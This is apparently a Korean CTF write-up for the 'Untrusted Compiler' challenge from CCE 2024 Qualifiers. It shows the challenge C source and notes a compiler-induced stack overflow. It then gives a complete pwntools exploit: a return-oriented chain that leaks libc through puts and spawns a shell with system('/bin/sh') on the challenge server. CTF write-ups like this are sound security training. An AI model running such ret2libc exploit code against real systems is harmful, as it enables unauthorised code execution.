CCE 2024 Qual - Untrusted Compiler
Posted on Sat 17 August 2024 in CTF
문제 분석
다음과 같은 파일이 주어진다:
// gcc -o chall chall.c -no-pie -z relro -O2 -fno-stack-protector #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <time.h> uint32_t random_list[10] = { 0, }; uint64_t total_random = 0; void banner() { printf( " __ _ _ " " \n"); printf( " _ _ _ __ ___ __ _ / _| ___ ___ ___ _ __ ___ _ __ (_) | ___ _ " "__ \n"); printf( "| | | | '_ \\/ __|/ _` | |_ / _ \\ / __/ _ \\| '_ ` _ \\| '_ \\| | |/ " "_ \\ '__|\n"); printf( "| |_| | | | \\__ \\ (_| | _| __/ | (_| (_) | | | | | | |_) | | | __/ " "| \n"); printf( " \\__,_|_| |_|___/\\__,_|_| \\___| \\___\\___/|_| |_| |_| " ".__/|_|_|\\___|_| \n"); printf( " |_| " " \n\n"); } void init() { srand(time(NULL)); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); banner(); printf("Start setting 10 randoms...\n"); for (int i = 0; i < 10; i++) { uint32_t random = rand(); random_list[i] = random; total_random += random; } printf("done!\n\n"); printf("Guess the random value XD\n\n"); } void flush() { int c; while ((c = getchar()) != '\n' && c != EOF); } void guess() { uint16_t idx = 0; uint32_t score_list[10] = { 0, }; uint32_t input_list[10] = { 0, }; uint64_t score_sum = 0; while ((random_list[idx] < UINT32_MAX) && (idx < 10)) { printf("input %d: ", idx); scanf("%d", &input_list[idx]); flush(); if (input_list[idx] == random_list[idx]) score_list[idx] = random_list[idx]; score_sum += score_list[idx]; idx++; if (score_sum >= total_random) { return; } } } int main() { init(); guess(); }
문제만 봐서는 취약점을 찾을 수 없는데 컴파일하면 guess함수의 while문에서 BOF가 발생하는 것을 알 수 있다.
취약점
guess함수의 while문에서 bof가 발생한다.
익스플로잇
from pwn import * # context.log_level = 'debug' # p = process('./chall') p = remote('52.231.138.196', 1337) elf = ELF('./chall') libc = ELF('./libc.so.6') def send(val: int) -> None: p.sendlineafter(b': ', str(val&0xFFFFFFFF).encode()) p.sendlineafter(b': ', str((val>>32)&0xFFFFFFFF).encode()) RET = 0x40101a POP_RDI = 0x401444 POP_RSI_R15 = 0x401442 for i in range(0x68//8): send(i) send(POP_RDI) send(elf.got['puts']) send(elf.plt['puts']) send(elf.symbols['guess']) for _ in range(3): send(0xFFFFFFFF) while(True): l = p.recv() if b'input' in l[:7]: p.sendline(b'1') else: LIBC_BASE = u64(l[:6].ljust(8, b'\x00')) - libc.symbols['puts'] break log.success(f"LIBC_BASE: {hex(LIBC_BASE)}") # gdb.attach(p, 'b *guess +199\nc') p.send(b'0\n0\n') for i in range(0x68//8-1): send(i) send(POP_RDI) send(LIBC_BASE + list(libc.search(b'/bin/sh\x00'))[0]) send(RET) send(LIBC_BASE + libc.symbols['system']) for _ in range(3): send(0xFFFFFFFF) for _ in range(20): p.sendline(b'1') p.interactive()